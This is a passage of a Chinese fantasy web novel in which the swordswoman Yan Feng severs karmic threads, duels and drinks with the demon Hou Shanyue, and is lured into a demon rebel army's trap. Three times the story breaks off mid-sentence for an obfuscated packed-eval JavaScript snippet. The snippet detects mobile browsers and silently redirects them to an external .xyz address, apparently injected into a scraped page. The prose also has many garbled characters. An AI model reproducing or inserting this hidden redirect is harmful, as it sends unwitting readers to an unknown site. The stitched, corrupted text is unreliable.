鄢丰握剑的手猛地收紧,她恍然明白,即便斩断因果线,她也无法清醒过来了,哪怕只是片刻。 一缕似有若无的黑气从她的眼底划过,鄢丰却对那个东西再熟悉不过—— 心魔。 下一刻,那道心魔竟然也化成了实体,正是鄢丰的模样,此刻正缠绕在采春的身上,似乎正不住地在她耳边低语。 ——一个入魔者,也会生出心魔吗? 鄢丰不明白,她只能更快地斩断眼前的红线,一根又一根。 从采春亲手杀死她入魔的父母时,他们死不瞑目的眼睛,到她一剑一剑亲手剜去昔日同门伙伴的眼睛…… 一幕一幕,随着因果线的断裂终于烟消云散。 可是,到了最后,还有一条因果线,正迎着一点微弱的光芒,微微荡漾着。 鄢丰定定看着那道因果线,奋力挥剑。 可是无论如何,那条因果线都无法被斩断。 鄢丰不记得自己是了多少次,耳边时采春“杀了我”的急迫催促,可任凭她怎么尝试,那根因果线都无法被斩断。 最后,是叶商进到楼中,将她带走了。 鄢丰崩溃地问她:“……为什么?为什么这跟因果线,我无论如何都斩不断?为什么?” 叶商顿了顿,把她带到门外,才说:“你清醒一点。” 鄢丰一愣。 自从她亲手斩杀自己的心魔之后,便一直停留在惧相,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557304|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续进展。 叶商不动声色地看着她,一律似有若无的魔气又一次凝聚在了一起,在下一刻消失无踪。 叶商似乎看穿了她的想法,笑了笑,问:“你真的觉得,斩断过往的心魔,便不会再入魔了吗?” 鄢丰摇摇头,似乎痛到极致,她反而笑了。 笑得痛彻心扉,她说:“从今天开始,节葬楼中的一切,就会成为我的,下一个心魔。” “不错。”叶商目无波澜,“但你斩杀了那只心魔,便是斩断了过往的一切因果。……你找不回以前的记忆了。” 鄢丰说:“我知道。” 叶商却偏过头,反问她:“那采春怎么办呢?” 鄢丰一愣。 那个可怕的猜想浮现在心头,随着叶商的话中得到了验证: “因果线乃是代表着人与人之间的关系与过往的存在,你猜,那根无法斩断的因果线……是采春和谁的线?” 鄢丰下意识低下头看向自己的小指,那里空无一物。 换视的效果已经随着她离开节葬楼二彻底结束,她看不到因果线了。 但是她却知道叶商未尽之言的谜底:“……我之所以无法斩断那条因果线,是因为……那是我忘记的,和采春的过往?” “不错。人不能斩断自身的因果线,如果她,忘记了过往的话。这是天道规则——”她顿了顿呢,解释道,“连自己的过往都遗忘的人,哪里还有资格,决定自己的因果?” 鄢丰恍然明白,离开医家时,第五昭和聂听琴讥讽的、欲言又止的目光,究竟意味着什么。 ……他们是怎么知道的呢? 叶商看着她恍然的表情,没有说话。 鄢丰对上她的目光,眼中闪过一点儿愧疚,她张了张口想要说些什么,叶商却将她制止。 “你没必要想我解释什么,更没必要向我道歉。……事到如今,我只是想问你一句,你后悔了吗?” 这次反而换成鄢丰有些不解:“后悔什么?” 叶商说:“同样的问题,我曾经问过当年的那位钜子……在她被心魔缠上心脏,以琉璃心堕入七相之后。” 叶商悠然记得,那一日万里无云,耀目的阳光照射在尚贤城的土地上,将那些干涸发黑的血迹照得更加触目惊心。 尸填 她刚刚斩杀了几只魔物,站在赵花骨的身后。 “钜子。” 女子甜腻的声音听出几分沙哑:“都清理干净了?” “是。” “很好……”她难得从她的声音里听出几分疲惫,“下一任钜子,非你莫属。” 叶商顿了顿,没有为此感到欣喜,活着不愉快,她只是沉默片刻,开了口: “那么,在继任之前,弟子叶商,始终有一事不明。想要问问钜子,一探究竟。” “什么事?” “钜子坚持兼爱之道,即便是在这魔气侵袭的大潮之中,即便在心魔缠身之下,也犹然不悔不怨吗?” 赵花骨微微抬起头,目光直视向那词目的阳光,半晌,一字一顿: “不悔,不怨。” 顿了顿,她又说:“从始至终,我只是自恨……命不久矣,无法再为这尚贤城,作出任何一点儿有益的事情了。” 叶商作揖再拜:“弟子明白了。” 赵花骨始终没有回身。 叶商知道,那是因为她的眼中,几乎已经密布血丝。 身为墨家钜子,她还要,为自己保留最后的一点儿尊严。 “所以,”叶商回过神,以同样探究的目光看向鄢丰,“你呢?” 鄢丰听着这段往事,微微出神,仿佛能够想象到赵花骨当年的模样。 鄢丰笑了笑:“我心,与赵前辈一如,从未变过。” “好。” 这一次叶商回答得很快,她定定看着鄢丰,说:“只要你还记得你今日之心,记忆也好,七相也好……我相信,终有一天,你会找到颇具的办法的。” 54. 叛军(一) 鄢丰在第二日,便在聂听琴传音的催促下,跟着她启程,踏上了下一场试炼之路。 “前辈这一次回儒家,可有要事?” 鄢丰不理解她的急迫,曾经这样问她。 “要事?”聂听琴蔑视一眼,“送你去参加试炼,就是定定重要的事情啊。” 说吧她便不再解释,转身便御剑而行。 鄢丰却犹豫了一下,问身后的灵珠:“……你可要和我同行?” 灵珠也有些犹豫不决:“鄢丰姐姐,你此行有要事要办,带上我和明师姐,恐怕累赘。” 鄢丰反倒就在这一段时间里下定了决心:“来,踩上剑。”她回过头朝灵珠微微一笑,“我既然答应了要带你们找到希望,你们跟着我,才是应该的。走吧。” 御剑的速度很快,但即便如此,从墨家道儒家仍然花了他们三天三夜的时间。 到儒家的北城时,已经入了夜。 聂听琴说要线回本价看一眼,让他们先一步入城,待到三日之后,她便会来接她,将她带到试炼之地。 年少时鄢丰曾经来过儒家,在这里呆过不少的一段时间。 她带着灵珠在儒家城里四处闲逛,买了不少小玩意儿,还算轻车熟路。 走到半路,猛然听到一声清脆的剑鸣。 这剑鸣声清越极了,让鄢丰的甘镬剑都忍不住嗡鸣震颤起来,似乎想要和那人一战究竟。 鄢丰脚步一顿,便听到一声敲锣打鼓的声音。 随着一声中气十足的男人的声音传来: “今日的论剑会便到此为止了,请各位少侠明日再来吧!” 鄢丰心中一动。 原来是论剑盛会。 年少时鄢丰也曾参加过这场盛会,还和一位姓孟的少侠好一顿比试,颇为酣畅。 后来她回到师门,向贺灵将其这段经历,后者也曾露出向往的目光。 “……听上去真是有趣。可惜我如今左支右绌离不开昆山,事务繁忙。” 师父无意听见了这话,点点她的额头,笑道:“便是允你下山去,你如今这个年岁,参加他们那个论剑会,也是犯规的!” 贺灵有些委屈地捂住额头:“论剑会论剑会,只要能论剑不就好了?还那么多限制,真是——” 她长叹一声,正想和鄢丰再说点什么,身后的弟子便急匆匆跑来,将她喊走了。 鄢丰想起之后的事情,不愿再回忆下去。 “等等!” 一声清脆的女声打断了她的思绪。 此时鄢丰已经牵着灵珠走到了擂台前,正见到一名女子,穿着一身黑衣,悲伤背着一把剑,叫住那论剑会的负责人。 负责人脚步一顿,转过头,不动声色地打量了她片刻。 一身黑衣,头上扎着一根鲜红的飘带,女子张了一张极其艳丽的脸,一双眼睛亮得吓人,这论剑会分明已经到了尾声,却不知道哪里激起了她的战意,背上的剑不住地嗡鸣着。 主持人朝她宫颈有咯地作了一揖:“姑娘,论剑盛会今日已结束了……宵禁的时间也到了,你看,不如明如再来?” “放屁!”女子没听完他的话便立刻打断道,“老娘白天来你们也是这套说辞,瞧不起人是吧?!” 主持人吓了一跳。 因为随着他的话音,女子的周身已经竖起了一层层浓郁纯粹的魔气,蓄势待发的模样,像是下一刻便要朝着他来! 主持人吓得后退了几步,生怕被她身后的魔气伤到,更严重的说—— 万一被它污染了,那后果简直不堪设想。 他已经心生退意,却不敢惹恼这女子,只能陪笑着说尽好话,。 谁知这女子竟然有言不尽,不依不饶一定要找他讨一个说法。 她乜了她一眼,冷笑道:“哈,我知道,你们不就是瞧不起我魔族的身份吗?我只道你儒家酿的酒时好久,却不想成日里这样死板——你们的论剑会细则上,可从没有说过不允许魔族参加!” 主持人心里想,这种默认的规矩,谁会可以写在细则上》 最重要的是,哪个不知天高地厚的魔族,会闯进天下第一排斥魔族的儒家地界,就为了参加一场论剑会的? 女子口中仍然义愤填膺:“论剑会论剑会,只要一心论剑不就是了?还分什么种族搞什么歧视,我呸!” 主持人根本不敢对她轻举妄动,只是畏畏缩缩地问: “姑娘,这事是我们考虑不周了,你看……我们给你点补偿,如何?” 女子眼珠子一转,似乎就等着这一句话了,声音缓和了一点,说:“小女子我大人不记小人过,要求也不高。”她偷眼瞥了那主持人一眼,“……着论剑会我不参加也罢,只要你们的奖品,那千年的女儿红拿来给我分一谈,我保证,天高水远,咱们再也不见!” 主持人却一下为难起来——这人以来便是狮子大开口! 须知那千年的女儿红,作为本次魁首的奖励,那是无数大人千金也难求的。 极其贵重,只有一坛。 他哪里有资格拿来送给这来历不明的魔族女子? 他惊得睁大眼睛,下一刻身后忽然走来一个人向他耳语了几句,主持人神色缓和了一些。 他看也不再看那女子一眼,转过身便对身后的人挥了挥手,转身走了。 女子愣在原地,目瞪口呆,似乎还不明白这突如其来的变故是怎么回事。 在一边的鄢丰却看得清清楚楚,她赶忙冲上前去拉住她:“快跑!” 果不其然,下一刻身后光芒大盛! 原来那擂台上下都设下了儒家的杀阵,就是为防意外特意设置的。 那主持人没有开阵的权限,故意与她周旋拖延时间,等到负责的人意识到不对劲前来查看是便可以将这名魔族直接斩于杀阵之下! 女子回头看了一眼便明白了状况,顺从地跟着衣服跑远了。 身后,那些儒家弟子似乎受到命令,还在他们身后追赶。 女子心思一动,被鄢丰拉住地手微微挣动一下: “跟我来,我知道一个” 鄢丰一顿,跟着她跑了起来。 不知跑了多久,她们最终停在一处无人的街角。 抵着墙根,听到追杀的弟子走远了,两人才不约而同地松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557305|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。 女子清亮的眼睛看向鄢丰:“今日多谢姑娘仗义相救!我叫侯山月,可否请教姑娘名讳?” 鄢丰笑了笑:“鄢丰。” 下一刻,“铮”一声,鄢丰被雪亮的剑光晃了一下,她正冷地看到侯山月抽搐了自己身后背着的剑。 谈不上是一把好剑。 上面因为保养不得当,似乎已经生出隐隐的锈斑。 可是在她的手里,剑似乎有灵一般发出微小的嗡鸣声,战意一触即发。 鄢丰还没搞清楚状况,便听到侯山月清亮的声音: “论剑会我参加不了,不如……我们两个过过招如何?” 鄢丰根本来不及反应,因为下一刻女子的剑便已经送到了眼前,竟然直取要害,没有分好犹豫! 幸好佩剑在身,鄢丰赶忙抽出剑来抵挡住这一击。 剑剑相鸣,发出清脆的碰撞响声。 鄢丰一遍勉力抵挡,一边问:“姑娘这是何意?” 侯山月似乎越来越兴奋了,闻言反而有些不解地反问:“还能有什么意思?看你的剑不错,想抢过来试一试呗。” 鄢丰从她的话中读不出恶意,只有滔天的战意。 侯山月身上的魔气似乎控制不知,只要她兴奋起来,魔气便铺天盖地将她整个人包裹起来。 她却丝毫不受道影响,反而利用这一点掩护自己的身形,有很多次,鄢丰都险些被她掩在魔气后的剑招打到,不一会儿便挂了彩。 不知不觉月上中天,四更的锣已经隐隐响起,侯山月的剑招却丝毫没有慢下来的迹象。 鄢丰不敢过多使用魔气,怕入魔再深,可侯山月却丝毫不避讳)——她似乎是纯血魔族,天生不会被魔气污染。 鄢丰也被她激起了战意,漫长的时间里她都沉浸在责任与救赎的痛苦中,很长时间不曾同人认真二纯粹地过过招了。 她的剑也越来越快,恢复不久的右臂原本有些僵硬。 就在她即将适应这种节奏的时候,侯山月却突然变了招,故意露了一个破绽给她,又泥鳅一样滑倒她的身后,要在她身后刺出一剑,结束这场战斗。 鄢丰心下一惊,握剑的左手的角度来不及格挡。 她的右手却下意识接过剑,险险挡下了这致命一击! 双剑流! 这一击似乎唤醒了经年的记忆,鄢丰感觉原本僵硬沉重的右臂以喜爱子活络起来,甘镬剑嗡鸣着在左右手之间来回游走,方才有些捉襟见肘的状况似乎一下被逆转了,她的剑招越来越快,原本占据上风的侯山月反而左右支绌起来,很快便被她拿剑抵住了咽喉。 “不打了不打了,”她抬起双手作出求饶的姿态,剑就随手扔在地上,“鄢姑娘果真厉害,我自愧不如。我认输!” 鄢丰原本就不打算伤她的性命,她看起来也不像是有所图谋,似乎真的只是单纯想同她过一过剑招。 下一刻一只手臂便搭上她的肩膀:“怎么样,要不要和我一起喝酒去?” 鄢丰蹙起眉,争相拒绝。 可是抬起头对上女子在暗淡月光下微微眯起的眼睛,她无端想起了她的师姐。 55. 叛军(二) 那一次下山历练之前,在昆山之上,也是这样的下弦月,贺灵抱着自己酿的桂花酒,扣开了她的房门。 “鄢丰,我的好师妹,”她微微笑着,将手中的酒捧到她的面前,“来陪师姐一起喝酒呀。” 每一次,对上这样的一双眼睛,鄢丰总是不忍心拒绝的。 “……好。” 回过神的时候,鄢丰发现自己已经下意识答应了她的邀请。 侯山月却反而有些哭闹起来:“我可没有钱啊……这顿酒虽然是我请,可是也得劳烦鄢姑娘你来替我买单。” 鄢丰想了想,说:“我知道一个地方,有免费的酒。” 侯山月眼睛一亮:“在哪里?” 她眼中原本还有点狐疑,对鄢丰并没有完全信任,可听到有酒喝,便立刻打消了所有的疑虑,跟着衣服便走了。 鄢丰记得,三百年前,经历过阿昭的事情之后,她曾经故地重游,来到儒法家交界的地方,在那棵海棠树下,埋下了数谈女儿红。 方才听到侯山月说起女儿红,她便想起了这里。 左右她不是贪杯的人,不如把酒分给能够欣赏它们的人。 四所见,她们已经来到了那棵树下。 鄢丰轻车熟路蹲下身,拔出剑便开始挖土。 她一面挖,一面道:“这酒虽然不及儒家的千年陈酿,但是细细算来到如今,也埋了有五百年之久。……还望侯姑娘能喜欢。” 听到五百年,侯山月眼睛一下亮了起来:“那是自然!” 鄢丰抱出酒,一、二、三…… 一探界一谈地放在身边。 九。 鄢丰疑惑地朝地窖里看了一眼,确认没有了,心中反而有些疑惑。 ……记忆中,她埋了十坛。 怎么会凭空少了一坛? 但鄢丰只犹豫了片刻便很快掩饰好神色,转头朝侯山月笑了笑: “希望今晚,侯姑娘能喝得尽兴。” 那边侯山月早等不及鄢丰说话,抱起酒坛便对着喝了起来。 她喝得快极了,和贺灵半点儿也不像。 毫不夸张地说,曾经——昆山还在、师父还在、贺灵也还在的时候,贺灵是整个昆山上最爱酒的人。 但鄢丰记得,她爱酒爱得优雅风致,不仅讲究喝的时间和酒的年份,更看重同饮的人,看重天时地利人和——春日要喝剑南春,夏日要喝女儿红,冬日要喝烧刀子暖胃…… 所有的这些,都讲究极了。 当她真的喝起酒来,也不忘记身为昆山弟子、身为掌门首席的风度。 她喝酒,但喝的也同样是一分风雅。 眼前的女子却截然不同。 她看起来,是一个绝不会将任何规则放在眼里的人。 鄢丰怀疑,如果今日她没能喝个痛快,明日儒家那坛千年女儿红的彩头便要失窃了。 “你怎么不喝?” 侯山月看她还在愣神,催促道:“良辰美酒虽好,可也得有个伴儿,这酒合起来才能算尽兴啊……” 贺灵死后,鄢丰很少有过这样放松的时间。 她不由吐出一口浊气,微微笑起来: “我的酒量很好,这么多年,还未尝败绩。” 说罢,她便也抱起酒坛,扔下塞子便喝了起来。 一直到天蒙蒙亮的时候,九坛女儿红已经尽数喝干了。 侯山月已经微微有了些醉意,她目光濛濛地看了鄢丰一眼,忽而抚掌大笑起来: “哈哈哈哈哈哈哈哈……哈哈哈哈哈哈!今日真是棋逢对手!” 她一掌拍在鄢丰肩膀上:“我已经很久没跟人喝得这样尽兴了。我当你是半个朋友,要不要一起……去干一票大的?” 鄢丰虽然面上不显,但其实也有些微醺之意,闻言她反应慢了半拍: “……干什么?” 侯山月咧嘴一笑:“去尝一尝,他们这论剑会的彩头,味道如何!” 鄢丰混沌间被她拉起来,迷迷糊糊地想:当年来参加论剑会的彩头,为什么不是这坛女儿红呢……? 鄢丰发现自己根本无法拒绝眼前的女子。 她和贺灵太像了——除了爱酒,他们哪里都不一样,贺灵是内敛克制的,是温柔友善的,而眼前的侯山月确实奔放直白的,是热情吵闹的。 他们出处都不一样,鄢丰却觉得,他们处处都让她想起他。 她太久没有见过她的师姐了,太久没有这样纯粹快乐的时刻了。 她舍不得。 也正因如此,鄢丰没有注意到,原本无月无凤的夜晚,不知何时,云雾三区,一轮满月,毫无预兆地高悬夜空。 诡异的寂静弥漫开来,鄢丰一个激灵清醒过来,猛地停下脚步。 走在前面的侯山月察觉到,脚步一顿,回过头,问她:“怎么了?” 在一片濛濛夜色中,鄢丰对上一双血红的眼瞳。 下一刻,脚下光芒大盛,鄢丰不可置信地睁大眼睛,看着脚下阵法莹白色的纹路,惊恐与不知所措的情绪同时复现在她的脸上—— 这个阵法、这个地点,是她再熟悉不过的……永夜阵! “她竟真的相信你。” 一声嗤笑从耳边传来,鄢丰抬起头,对上第五昭那双熟悉的黑曜石一般的眼睛。 那双眼睛此刻在满月之下正渐渐变红,可是意外的是,尽管两人的瞳孔都变成了红色,鄢丰却无法从他们的神情中看出一点儿失去神智的迹象。 侯山月不明所以地迎上第五昭暗藏针锋的眼睛,耸了耸肩: “别把她杀了……毕竟是我的救命恩人。而且……”她似乎有点儿心绪地看了她一眼,“她的酒还不错。” 第五昭不再说话,永夜阵在下一刻启动,鄢丰感到眼前被浓重的黑色笼罩起来。 再次睁开眼睛的时候,鄢丰发现,自己伸出一间熟悉的地牢当中。 所不同的是,当年这座地牢中是那个脏兮兮的孩子和她关押在一起,他们共同寻找逃离的方法。 而此刻,那个人站在她的对面,陌生而熟悉的眼睛一瞬不瞬地盯着她,仿佛又千言万语,却终究什么也没能说出口。 半晌,侯山月从外面风尘仆仆走进来:“你在干什么呢?那姓舒的喊你过去。” “喊我?”第五昭不明所以地笑了笑,还是站在原地没动,对此压根无动于衷。 鄢丰听到他们的对话先是吃了一惊,很快又冷静下来—— 舒泓到底想要做什么? 第五昭和舒泓又到底是什么时候达成这样的合作的? “一次又一此被背叛的感觉如何?” 一道声音将她思绪换回,去没能成功地激怒鄢丰。 她眼底一片沉寂——这就是心魔剥离之后她最大的变化。 她再也不想当时在裂缝之下那样容易被激怒,被蛊惑,乃至于彻底被情绪掌控,失去神智,无差别地攻击所有人…… 鄢丰心下稍安,第一次感到那道声音的消失对她的影响是如此巨大,而且直观。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557306|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了他一会,问: “那一天在金陵,你和他达成了什么协议?” 第五昭冷笑一声,并不回答。 这也在鄢丰的意料之中,她正要再开口,反而是一边的侯山月开口道: “姑娘莫怪,我们把你带来这里可不是要做什么不好的勾当——我们不是炼人的。” 鄢丰这次终于抬起头看向侯山月,后者眼神清澈见底似乎真的不是在说谎言。 她顿了顿,竟然从腰间取下牢门的钥匙,走到他的身边,朝她伸出手: “我看你身手不凡……姑娘,要不要加入我们?”侯山月眉眼弯弯,“我以魔族叛军右护法的身份,正式邀请你,和我们一起,工打下儒家城!” 鄢丰睁大眼睛,原本被她这笑容蛊惑的感情迅速远去,唯有这最后的一句话掷地有声,让她几乎难以置信。 可是侯山月就是这样大喇喇说了出来,好像丝毫没有察觉到不对。 鄢丰不可置信地问:“……你说什么?” “你没有听错。” 未见其人,先闻其声,下一刻,身着滑轨紫衣的男子摇着扇子出现在侯山月的身边,正是舒泓。 鄢丰神情瞬间凝重起来,脑中正在飞速思索如何离开这里,把这个消息告诉聂听琴。 舒泓却似乎看穿了她的想法,微微笑了一声,却没有说破,反而另起了一个话题: “你在医家修养那么些时日,恐怕不只是恢复了右臂那么简单吧?” 鄢丰和舒泓对视,眼底的沉着冷静已经让她知道了答案。 舒泓眼中露出了然的神色,摇了摇扇子。 “别急。” 他转过身将搬开的牢门打开更多,做出一个“请”的手势。 在场的另外几人都错愕至极,唯有舒泓神情不变,仍然从容,他朝她颔首: “我知道,以你的性子必然不可能答应她的。没有关系,你大可以立刻离开这里,没有人敢拦你。” 鄢丰却迟迟未动。 如果真的离开了,确实可以向聂听琴通风报信,提早为这突如其来的战争做好筹备,可舒泓足智多谋,一定想到了这一层。 也就是说,她的目的或许根本就是要她充当那个传递消息的人。 ……为什么? 可是如果此时不离开,等到舒泓反悔了,她以凡人之身,也根本没有任何别的办法逃离这里。 舒泓看出她的犹豫,却没有说话,只是耐心地等待着。 就像从前,他教给她一个新的招式的时候,如果她不让他重复一遍,无论她遇到怎样的困难,他都只会在一边静静看着,什么也不说。 直到她自己向他求助,或者追问。 半晌,鄢丰站起来,打定主意,问他: “前辈今日为何将我带到这儿?” 舒泓微微笑了笑:“如你所见……我代表魔族叛军的首领,邀请你,加入我们的计划。” 鄢丰不语。 “你大可以回去,将这一切都告诉你的那位聂前辈。可是……”舒泓神情不变,眼底却露出一个莫测的神情,“总有一天,你会心甘情愿地来找我们。而我,随时恭候你的到来。” 鄢丰听罢终于不再犹豫,站起身便离开了。 身后,舒泓神情莫测地看着鄢丰离开的背影,低声自语: “因为,只有我们……才能帮助你,找回你丢失的心魔啊。”他转过头毫无征兆地看向第五昭,却仍然难掩眼中轻蔑,“你说是吗,我们的,魔君大人?”